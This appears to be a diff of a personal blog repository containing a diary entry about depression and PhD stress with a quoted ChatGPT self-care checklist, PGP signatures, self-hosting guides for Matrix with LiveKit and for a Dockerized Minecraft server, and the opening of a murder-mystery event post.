I'm happy that I've not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.
It's sad because I can see it in my monthly reports, in the [PhD_journey](https://blog.alipourimjourneys.ir/phd_journey/) page of my blog. I can see how bad last month was, and I know this month has not been any better. It's just scary, and sad. I know I'm losing precious time that I cannot get back. I know at some point I'm expected to deliver results that I won't have, and I know I won't like myself when this inevitable happens.
I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I've been told to do by my brother in the meanwhile:
- Going for short walks
- Doing small tasks that make me feel good
- idk... I don't remember anything else.
ChatGPT also gave me some advice, I'll copy it here:
```markdown=
# 14Day Reset — Daily Checklist
**Name:** _____________________ **Start date (Day 1):** ______________ **Wake time target:** ________
### How to use (60 seconds)
* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each).
* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends.
* Log the **evening 2minute checkin** in the table (mood, sleep, meds, sprints, one win).
* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**.
### Define todays Minimum Reliable Dose (MRD)
*(Write clear, tiny actions with a start line → action → done proof.)*
* **Study MRD:** ________________________________________________________________
* ---
* **Work/Code MRD:** ____________________________________________________________
* ---
---
### Daily tracker (14 days)
| Day/Date | Outside 1015m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 010 | Sleep hrs | Meds Y/N | One win / Notes |
| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ |
| 1 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 2 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 3 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 4 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 5 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 6 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| **7 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ9 today = ____** |
| 8 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 9 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 10 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 11 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 12 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| 13 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ |
| **14 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ9 today = ____** |
---
### Quick reference
**Paper — 12min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question).
**Code — restart protocol:**
1. Open repo → `git status` → run tests/linter → open lastchanged file.
2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log.
3. **Stuck 3step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~1520 min, park it with the **next guess**.
---
### Safety net (Germany)
* **Emergency:** 112
* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123
If risk rises (cant stay safe, intense agitation/akathisia), seek sameday care.
```
Lmao. I wonder how things will progress in the future, and how I'll do. Was it really because of a failed relationship? Really? Something that never happened? I don't believe it, it's not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn'tve these feelings. Maybe, just maybe.
But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn't being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.
Darn. That is a lot. Lot of bad things. Back to back to back.
Ok. Let's break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don't. But I will figure it out and make it work. I have to. I ain't, and I wasn't brought up like this. Let's fleaping go...
I try to keep ya'll, the empty list of people, updated.
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qSO0P/2tzWyTdIIsGj1RoTrpTlNgJ
bVGtx3Cvs2aeBkq/3xCsLN8gJwQ6kOUPires79sae9wDsbaCmz7E2sXyRGl/pQol
81OxqRWvwMaZ9rZeOooh1JqCh2e90cSHjUOz3RocaJxpfuEH6mmd7gHrdok21FRa
mCxNFvBAAsxeZdO+4XSpIgVVHAWeIoBYEbacygHZkOAKqWnS6Y9WczE+PRQ8Ru46
TsNjtSHloRRj90ijtHvv1IWUu6J4oRSntmbcXWBuiAZvSsnBCndroHAqU90nNMME
HSWR7kTGADIwrbkPzcznJnk0gp19f9qGhIIsnDheVHZJdtRbZhFSDAzk6Lw2XnbX
rSLFQadQJCPQhDv/pAfJhNtu+be0R2Rtx+iiw4+TBPK9nsgHgExM28etJON4ZsE/
cZAVDoj39W9kshcynoyPCkUcqlcvlIpZ/21KmqWIPQAaTOCkPz4nJw1fVhXs4XbA
i8sbnFI2k+jg+qELiDShCmTAqFuCB+Icxi3l7BFL/ot0MzDHZAxG/0UqAE7Zv3i5
c6EzU+8C6+gnYE3QvMo4egKMAz7S5zd6Vi6aGGKy4xc4HfS083pyDB9A8FSA3nND
kvihzAsOCnzf5IhkUkIU5SD25QWLsmEX//rIkAKrGDvvCBJZsqgwvpYYQ2V2N7Uo
hPqGAFdRLevEweDOG0IU
=EaCd
-----END PGP SIGNATURE-----

View file

@ -0,0 +1,426 @@
---
title: "Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)"
date: 2025-08-26
tags: ["matrix", "synapse", "element-call", "livekit", "coturn", "nginx", "webrtc", "self-hosting", "debugging"]
draft: false
description: "How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from 'waiting for media' to solid calls."
cover:
image: "/images/matrix-cover.png"
alt: "Matrix, Signal but distributed"
caption: "Distributed end-to-end encrypted chat platform"
relative: true
hidden: false
---
> TL;DR: The call kept saying **“waiting for media”** because the browser never opened a WebSocket to LiveKit. The root cause was **duplicate `Access-Control-Allow-Origin` headers** on `/sfu/get` (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP **101** in logs) solved it.
## What I'm building
- A **Matrix homeserver** (Synapse) at `matrix.example.com` (replace with your domain).
- **TURN/STUN** (coTURN) for NAT traversal.
- **Element Call** backed by **LiveKit**, fronted by `rtc.example.com`.
- **Nginx (host)** as the single reverse proxy for everything.
- **Cloudflare** DNS (with `rtc.*` set to **DNS-only**, no orange cloud).
- **UFW** firewall opened for Matrix federation, TURN, and LiveKit media ports.
> I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used **host** Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.
---
## Prereqs
- DNS A/AAAA:
- `matrix.example.com` → your server (v4/v6)
- `rtc.example.com` → your server (v4/v6)
- Certificates:
- `matrix.example.com` and `rtc.example.com` via Lets Encrypt on the host
- Cloudflare: **DNS-only (grey cloud)** for `rtc.example.com` so WebSockets & UDP work without interference.
- UFW / firewall open:
- 80/tcp, 443/tcp
- 8448/tcp (Matrix federation)
- 3478/tcp, 3478/udp and **5349/tcp** (TURN/TLS)
- **LiveKit**: 7881/tcp and **5010050200/udp** (or your chosen range)
- Docker + docker compose installed.
---
## Synapse + PostgreSQL
### 1) The PostgreSQL collation gotcha
Synapse prefers the database collation **`C`**. If your Postgres cluster was initialized with `en_US.utf8`, Synapse will error like:
```
Database has incorrect collation of 'en_US.utf8'. Should be 'C'
```
**Two ways to resolve:**
- **Preferred (clean)**: Re-initialize the Postgres **cluster** with `C` and `UTF-8`:
```yaml
# docker-compose.yml (excerpt for Postgres)
services:
db:
image: postgres:16
environment:
POSTGRES_DB: synapse
POSTGRES_USER: synapse
POSTGRES_PASSWORD: <strong-password>
POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
volumes:
- ./pgdata:/var/lib/postgresql/data
```
> Requires wiping the volume and recreating the DB.
- **Pragmatic (works quickly)**: In Synapses DB config, set `allow_unsafe_locale: true`. This bypasses the check. Its fine for hobby use; for production, prefer the clean `C` cluster.
### 2) Start Synapse and generate config
```bash
docker compose up -d db synapse
# Logs
docker compose logs --tail=200 synapse
```
Ensure Synapse prints your **server_name** and **public base URL** and stays up.
### 3) Create an admin user
```bash
# Exec into the running Synapse container:
docker compose exec synapse register_new_matrix_user \
-c /data/homeserver.yaml -u <username> -p <password> \
-a -k
```
> If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use `docker compose exec synapse …` against the running container.
---
## TURN (coTURN)
### 1) Avoid bad inline comments
If you see errors like:
```
ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
```
…it means a `#` comment is on the **same line** as a boolean directive. Move comments to their own lines.
### 2) Minimal `turnserver.conf`
```ini
listening-port=3478
tls-listening-port=5349
fingerprint
use-auth-secret
static-auth-secret=<shared-secret> # also set in Synapse
realm=example.com # used in creds generation
total-quota=0
bps-capacity=0
cli-password=<admin-pass>
no-cli
cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
# If behind NAT:
# external-ip=<public-ip>/<internal-ip>
```
### 3) Wire TURN into Synapse
In `homeserver.yaml`:
```yaml
turn_uris:
- "turn:turn.example.com?transport=udp"
- "turn:turn.example.com?transport=tcp"
- "turns:turn.example.com:5349?transport=tcp"
turn_shared_secret: "<shared-secret>"
turn_user_lifetime: "1d"
```
Verify the homeserver issues TURN creds:
```bash
TOKEN='<your matrix access token>'
curl -s -H "Authorization: Bearer $TOKEN" \
https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
```
You should see `uris`, a time-limited `username` and `password`.
---
## Nginx (host) for Synapse and federation
Create `/etc/nginx/conf.d/matrix.conf`:
```nginx
# Client traffic on 443
server {
listen 443 ssl; listen [::]:443 ssl;
server_name matrix.example.com;
ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
# Proxy client & admin APIs to Synapse (container) on 8008
location ~ ^(/_matrix|/_synapse/client) {
proxy_pass http://127.0.0.1:8008;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Host $host;
client_max_body_size 50M;
}
# Advertise homeserver base + RTC focus (MSC4143) via .well-known
location = /.well-known/matrix/client {
default_type application/json;
add_header Access-Control-Allow-Origin "*" always;
return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
}
}
# Federation on 8448
server {
listen 8448 ssl http2; listen [::]:8448 ssl http2;
server_name matrix.example.com;
ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
location / {
proxy_pass http://127.0.0.1:8008;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Host $host;
client_max_body_size 50M;
}
}
```
Reload and sanity check:
```bash
sudo nginx -t && sudo systemctl reload nginx
curl -s https://matrix.example.com/.well-known/matrix/client | jq
```
Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:
```bash
curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
# expect: true
```
---
## Element Call + LiveKit
Ill run **LiveKit** and the small **JWT helper** (Elements `elementcall_jwt`) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.
### 1) LiveKit config (`/etc/livekit.yaml` inside container)
```yaml
port: 7880
bind_addresses: ["0.0.0.0"]
rtc:
tcp_port: 7881
port_range_start: 50100
port_range_end: 50200
use_external_ip: true
logging:
level: info
turn:
enabled: false
keys:
lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
```
> **Important:** the secret must be **>= 32 chars**. The default `devkey` will trigger `secret is too short` warnings and wont work with the JWT helper.
### 2) elementcall_jwt env
Run it with:
- `LIVEKIT_URL=wss://rtc.example.com` _(root WS URL, **no** `/livekit/sfu` path)_
- `LIVEKIT_KEY=lk_prod_1`
- `LIVEKIT_SECRET=<the long secret above>`
- `LIVEKIT_JWT_PORT=8080` (internal HTTP port the proxy will hit)
- Optionally: `LIVEKIT_FULL_ACCESS_HOMESERVERS=*` during setup
Check logs on start; it prints the LIVEKIT_URL it will advertise.
### 3) Nginx (host) for `rtc.example.com`
Create `/etc/nginx/conf.d/rtc.conf`:
```nginx
server {
listen 443 ssl; listen [::]:443 ssl;
server_name rtc.example.com;
ssl_certificate /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
access_log /var/log/nginx/rtc.access.log combined;
# 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
location = /sfu/get {
proxy_hide_header Access-Control-Allow-Origin;
add_header Access-Control-Allow-Origin $http_origin always;
add_header Vary "Origin" always;
add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
if ($request_method = OPTIONS) { return 204; }
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://127.0.0.1:8070/sfu/get; # elementcall_jwt
}
# 3b) LiveKit WS & HTTP (catch-all)
location / {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol; # "livekit"
proxy_set_header Origin $http_origin;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_buffering off;
proxy_read_timeout 3600s;
proxy_pass http://127.0.0.1:7880; # livekit
}
}
```
Reload and basic checks:
```bash
sudo nginx -t && sudo systemctl reload nginx
# JWT preflight (should return a single ACAO header)
curl -si -X OPTIONS https://rtc.example.com/sfu/get \
-H 'Origin: https://app.element.io' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
# Expected: one Access-Control-Allow-Origin and 200/204
```
> **Why I did this:** I initially had **two** `Access-Control-Allow-Origin` headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.
---
## The “waiting for media” debugging story (how I found it)
Symptom: Element Call created rooms, but calls stayed on **“waiting for media.”**
What worked:
- `elementcall_jwt` could **CreateRoom** in LiveKit (seen in logs).
- TURN creds endpoint returned time-limited credentials.
What didnt appear:
- No **HTTP 101** lines in `rtc.access.log` → the **browser never established a WebSocket** to LiveKit.
### Step 1: prove the WS vhost works (even without auth)
```bash
curl -v --http1.1 \
-H 'Connection: Upgrade' -H 'Upgrade: websocket' \
-H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
-H 'Sec-WebSocket-Version: 13' \
https://rtc.example.com/rtc -o /dev/null
```
Result: I got a `401` (expected), but importantly I saw a log line in `rtc.access.log`. So **Nginx WS proxying was fine**.
### Step 2: check the browser console
The smoking gun in DevTools:
```
Access-Control-Allow-Origin cannot contain more than one origin.
Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
```
The browser refused the JWT call due to duplicated **ACAO** headers, so no token → no WebSocket connect.
**Fix:** in Nginx I added:
```nginx
proxy_hide_header Access-Control-Allow-Origin;
add_header Access-Control-Allow-Origin $http_origin always;
add_header Vary "Origin" always;
```
…and ensured no other `add_header` created duplicates. After that, `/sfu/get` succeeded and the WebSocket to `wss://rtc.example.com` immediately followed (I saw **HTTP 101** in the logs).
### Step 3: confirm LiveKit side
Once the WS was up, LiveKit logs showed participants joining (not just `RoomService.CreateRoom`), and calls were established.
---
## Useful verification commands
```bash
# Synapse features (expect MSC4140 true)
curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
# Well-known with RTC focus
curl -s https://matrix.example.com/.well-known/matrix/client | jq
# TURN creds (with your access token)
curl -s -H "Authorization: Bearer $TOKEN" \
https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
# JWT health
curl -si -X POST https://rtc.example.com/sfu/get
# LiveKit simple HTTP probe
curl -si https://rtc.example.com | head
# Nginx logs (look for 101 Switching Protocols when a call starts)
sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
```
---
## Common pitfalls (I hit these so you dont have to)
- **Host Nginx vs Docker Nginx:** If you already run Nginx on the host, dont also bind 80/443/8448 in a Docker Nginx — youll get `bind() ... already in use` and restart loops. Use **host** Nginx to reverse proxy to containers.
- **Nginx `http2` directive:** Old Nginx may not support the `http2` directive on `listen`. Use `listen 443 ssl;` (and add `http2` if your version supports it).
- **Certificate name mismatch:** Make sure `rtc.example.com`s vhost uses a certificate **for that exact hostname** (initially I had the `matrix.*` cert on `rtc.*` and curl complained).
- **Postgres collation:** Either initialize the cluster with `C` or use `allow_unsafe_locale: true` in Synapse DB config to get running quickly.
- **CORS duplication on `/sfu/get`:** Only ONE `Access-Control-Allow-Origin` header. If the upstream adds it too, use `proxy_hide_header Access-Control-Allow-Origin;` on the Nginx location.
- **Cloudflare:** Use **DNS-only** for `rtc.*`. Proxies can interfere with WS and UDP paths.
- **Firewall:** Open the LiveKit UDP range and TURN ports on both v4 and v6.
---
## Final checklist (print me)
- [ ] `https://matrix.example.com/.well-known/matrix/client` returns **both** `m.homeserver.base_url` and `org.matrix.msc4143.rtc_foci` pointing to `https://rtc.example.com`.
- [ ] `/_matrix/client/versions` shows `"org.matrix.msc4140": true`.
- [ ] `/sfu/get` **preflight** returns **one** `Access-Control-Allow-Origin` and **200/204**.
- [ ] Starting a call creates **HTTP 101** entries to `wss://rtc.example.com` in `rtc.access.log`.
- [ ] LiveKit logs show **participants joining** (not just CreateRoom).
- [ ] `/voip/turnServer` returns time-limited TURN credentials.
- [ ] Cloudflare set to **DNS-only** for `rtc.*`. UFW allows 7881/tcp and your LiveKit UDP range.
---
### Credits & tooling
- Matrix Synapse, coTURN, LiveKit, Element Call.
- `curl`, `jq`, `docker compose logs`, Nginx access logs. These are your best friends.
- The debugging breakthrough was catching CORS errors in the browser console and looking for **HTTP 101** in Nginx logs.
Happy calling! 🎉
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAsYHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q9rkP/RNjRctt3alvjMKSqwPvFZVQ
o2gSnGxmSxgq7hxYc5bEEXvfRYtw6leMfdFeZ91w16OqLgIlwZb/B3iOimtyH7UB
vDpHfal3TLX9kaHjzWmLXbMhMY/ID1wf0ZceSXAgapPiRnp3LZgjB/eyKYvUE+ns
AlT2nxW6vJ/lUkf7boVLfi215bm96G37ygWwg4V+QWAaW9X+0RzcYwx4njxJv5NK
Q02fQuTah/Nb8/plBgUB0JJI5HaYKCEMs25818bmavbCsH1b9KujMCGx05RfkVfl
vOGCGv2GNJ/CjpCLyTgRm9p2eM2SoGzYEds5tHamsgHMJ5xFXQneDsC2C96ollhj
YmujUfHK7xKjyq8kyhCxKuz7+OEL2H1jXvosIqJorRZQUKZyv9vfMGeX1PIhUYbn
VlOr3KVJsiR81cBs9vOc88Y3Y3QyJBQ7unab/V8dFcJMrN8NqUYw17GWJm9enR2D
WenBkbGmpck/clIDz05zNXMry38RO4Xx9PEPFYUhw8+zMTeLSpNjHVt535JWWbln
avmWEqyVLEuX+62BNQv/xUhF81c+SIEqmJSbgeezIh0EprDOJtKwv3le5etZVj10
OS0b87v+X9eSRarQahEXSbaes1dyAR0D4AF5xzMTxmC+MRN1xl00CEV+gIJti2xD
j2cjrN+PUnXxR8fSHzpg
=gvzQ
-----END PGP SIGNATURE-----

View file

@ -0,0 +1,200 @@
---
title: "Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases"
date: 2025-09-29T09:06:29Z
draft: false
tags: ["minecraft", "docker", "paper", "papermod", "geyser", "linux", "lvm"]
categories: ["Homelab", "Games"]
toc: true
summary: "How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release."
---
## Why
Ive been running a Java Minecraft world (with Bedrock players via **Geyser**) in `tmux`. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:
- `failed to register layer: ... no space left on device`
- Client saying: **“Outdated client, please use 1.21.9 Pre-Release 2”**
- Wanting config in a neat `.env` and **no whitelist**
Heres exactly what I did.
---
## Folder layout
```bash
~/minecraft/
├─ docker-compose.yml
├─ .env
└─ plugins/
```
---
## `.env` (secrets & knobs)
Use the **latest stable** (not snapshots/pre-releases) by setting `VERSION=LATEST`.
```env
# Minecraft server configuration
EULA=TRUE
TYPE=PAPER
VERSION=LATEST
MEMORY=4G
USE_AIKAR_FLAGS=true
# RCON (remote console)
ENABLE_RCON=true
RCON_PASSWORD=superSecretPassword123
```
> I dont use a whitelist, so no `WHITELIST`/`ENFORCE_WHITELIST` variables.
---
## `docker-compose.yml`
```yaml
services:
mc:
image: itzg/minecraft-server:latest
container_name: mc
restart: unless-stopped
ports:
- "25565:25565" # Java
- "19132:19132/udp" # Bedrock via Geyser plugin
env_file:
- .env
volumes:
- mc-data:/data
- ./plugins:/plugins:ro
volumes:
mc-data: {}
```
> The `version:` key in Compose is obsolete now, so I dropped it.
---
## Add Geyser (and optional Floodgate) as plugins
```bash
mkdir -p ~/minecraft/plugins
cd ~/minecraft/plugins
# Geyser (Spigot/Paper)
wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar
# Floodgate (optional: Bedrock accounts without Java linking)
wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar
```
Start it up:
```bash
docker compose up -d
```
On first run, Geyser writes its config to `/data/plugins/Geyser-Spigot/`. Open UDP **19132** on your firewall.
---
## Hit a wall: `/var` ran out of space
Docker stores layers at `/var/lib/docker` by default. My `/var` LV was tiny:
```
/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var
```
### Quick cleanup
```bash
docker system df
docker system prune -f
docker builder prune -af
sudo apt-get clean
sudo journalctl --vacuum-size=100M
```
If thats not enough, you have two good options:
### Option A — Move Dockers data off `/var`
```bash
sudo systemctl stop docker
sudo mkdir -p /home/docker
sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
sudo systemctl start docker
docker info | grep "Docker Root Dir"
```
If all looks good, free the old space:
```bash
sudo rm -rf /var/lib/docker/*
```
### Option B — Grow `/var` (LVM)
Check free space in the VG:
```bash
sudo vgdisplay # look for "Free PE / Size"
```
If available, extend `/var` by +5G:
```bash
sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
sudo resize2fs /dev/mapper/ubuntu--vg-var
```
---
## The version mismatch: pre-release vs stable
My logs showed:
```
Starting minecraft server version 1.21.9 Pre-Release 2
```
That happens if the server pulls a pre-release build (or if `VERSION=LATEST`). Fix:
1. Ensure `.env` has:
```env
VERSION=LATEST_RELEASE
```
2. Recreate:
```bash
docker compose down
docker compose pull
docker compose up -d
```
3. Verify:
```bash
docker logs mc | grep "Starting minecraft server version"
# -> Starting minecraft server version 1.21.1 (example)
```
> Tip: If you **want to pin** and avoid auto-updates entirely, set `VERSION=1.21.1` (or whatever stable youve validated).
---
## No whitelist
Because I dont set `WHITELIST`/`ENFORCE_WHITELIST`, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:
```bash
docker exec -it mc rcon-cli "op YourJavaIGN"
```
(or edit `/data/ops.json`).
---
## Backup & updates
- World/data live under the `mc-data` volume → back up `/data` regularly.
- Update cleanly:
```bash
docker compose pull && docker compose up -d
```
- Watch space:
```bash
watch -n5 'df -h /var; docker system df'
```
---
## TL;DR
- Put **Geyser/Floodgate** jars in `./plugins` and expose **19132/udp**.
- Keep configs in `.env`.
- Fix `/var` space by pruning, **moving Dockers data-root**, or **extending `/var`** via LVM.
- Verify version in logs after each change.
Happy block-breaking! 🧱🚀
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAwYHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qxdkP/1CuhwinoXks55Swn9wdn6B1
6HCDCTvLWjxiJ3ix/g9uelB2VPiJa2wH72+RSReWiEBQG5W0fuW3iSHWQ9xouRcs
NWCmW/k+NdwmTv2I9PCuwaPwUg/BPPxMUS7Oo1Zog21lDM+fzpQkW8QAUZgpjdqz
0bbwYbQQJtHJa5oo8M7bx9pggCJMfLKtXafsP/p4zkGo0/mByAoDPW4u3MXkJZXj
YcCzesgfa+QW4SddXsWemxFtgaVlZqLywCanTd3dmWjNnfHcL03TpzxxQdd92i3g
sGy2Zv7/DjBfGOdvWfXuaMLDXWC9zDLmJbnYVNd2Rks7WOlyUe29UfZFII9u34ww
SgxFWDPu5MXAEfSDprBuyFZUjDh/HFXqp3WfOXNPh9V7/qH6hE3pLqZnV0RDGhYS
tZHVnS12b7mEoLtDj4LlgXAHGLhjXU/bq8bkVOATNyFPREVS96cW6ouafiCGp2In
dm3/NE97zXW8UqYSE5CzdqVPRiUL3JgqsfprvQMJtk1mbsiP1zl8+hFv3X2P4yQB
sBNsGRjtjNYPqE54EMQV9UglFWUSElCpmqs6yuNqPsdGt7OgJjaK2i0IMGEpig3K
Oc62SuntWeFi7VqH8fY47z3L2jjlQEFOSVSZwNCO12pK9DiJpUSB0MQwZ2GluPGy
NNu4bQAyPKanlq6BMODg
=tx76
-----END PGP SIGNATURE-----

View file

@ -0,0 +1,224 @@
---
title: "La Plaza: The Falcones & the Morettis"
date: 2025-10-25T07:52:53Z
draft: false
tags: ["crime fiction","mafia","family tree","noir"]
showToc: true
summary: "Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war."
---
Last night I attended a ZiS event called "the Murder Mystery night".
The story was about two families. The Falcones, and the Moretti family.
> Gold-embossed invitations arrive at **La Plaza** for a celebration of life honoring **Salvatore Falcone**, recently slain Don. All members of the Moretti family are invited to the party!
## Family Trees
{{< mermaid >}}
%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%%
flowchart TB
subgraph falcone["Falcone — current generation"]
direction TB
Salvatore["Salvatore Falcone<br/>dead boss"]
Serena["Serena<br/>widow (bosswife)"]
Salvatore -- Married --> Serena
%% row: siblings
subgraph falcone_row1[ ]
direction LR
Sophia["Sophia<br/>underboss"]
Massimo["Massimo<br/>lawyer"]
Fabiola["Fabiola<br/>financial<br/>advisor"]
Aurora["Aurora<br/>associate"]
end
%% row: next generation
subgraph falcone_row2[ ]
direction LR
Lorenzo["Lorenzo<br/>fixer<br/>(Sophia's son)"]
Michelangelo["Michelangelo<br/>enforcer<br/>(Massimo's son)"]
Antonio["Antonio<br/>hitman"]
end
Sophia --> Lorenzo
Massimo --> Michelangelo
Fabiola -- Married --> Antonio
end
{{< /mermaid >}}
{{< mermaid >}}
%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%%
flowchart TB
subgraph moretti["Moretti family"]
direction TB
Benito["Benito<br/>boss"]
Nicoletta["Nicoletta<br/>bosswife"]
Claudia["Claudia<br/>ex wife"]
Benito -- Married --> Nicoletta
Benito -- Divorced --> Claudia
%% row: children
subgraph moretti_row1[ ]
direction LR
Sergio["Sergio<br/>underboss"]
Lucia["Lucia<br/>associate"]
end
Benito -->|son| Sergio
Nicoletta -->|son| Sergio
Benito -->|daughter| Lucia
Claudia -->|daughter| Lucia
%% row: Lucia's crew
subgraph moretti_row2[ ]
direction LR
Violetta["Violetta<br/>fixer"]
Santo["Santo<br/>enforcer"]
end
Lucia --> Violetta
Lucia --> Santo
end
Enrico["Enrico<br/>finantial advisor"]
Benito ---|younger brother| Enrico
{{< /mermaid >}}
---
## Whos Who (quick dossiers)
### Falcone notes
- **Salvatore Falcone (†)** — Former Don, killed under mysterious circumstances.
- **Serena** — Salvatores widow; trades in charm and influence, now vying for power—especially against Sophia.
- **Sophia** — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
- **Massimo** — Younger brother; justice-minded, hardened by his wifes death.
- **Aurora** — Youngest; underestimated as naive or harmless, but observant.
